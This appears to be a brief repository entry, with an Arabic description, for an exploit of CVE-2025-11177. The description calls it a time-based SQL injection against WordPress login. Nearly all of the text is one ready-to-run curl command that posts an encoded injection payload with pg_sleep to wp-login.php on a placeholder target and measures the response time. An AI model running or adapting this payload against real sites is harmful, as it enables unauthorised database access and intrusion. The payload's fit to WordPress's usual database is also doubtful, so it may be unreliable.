jfriedli/cve-2025-11177استغلال حقن SQL القائم على الوقت لثغرة CVE-2025-11177 يستهدف تسجيل الدخول في ووردبريس مع تسليم حمولة عبر curl وكشف التوقيت عبر pg_sleep.
curl -w '\nTIME:%{time_total}\n' -s \
-d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
-d 'redirect_to=' \
-d 'testcookie=1' \
'http://{target}/wp-login.php'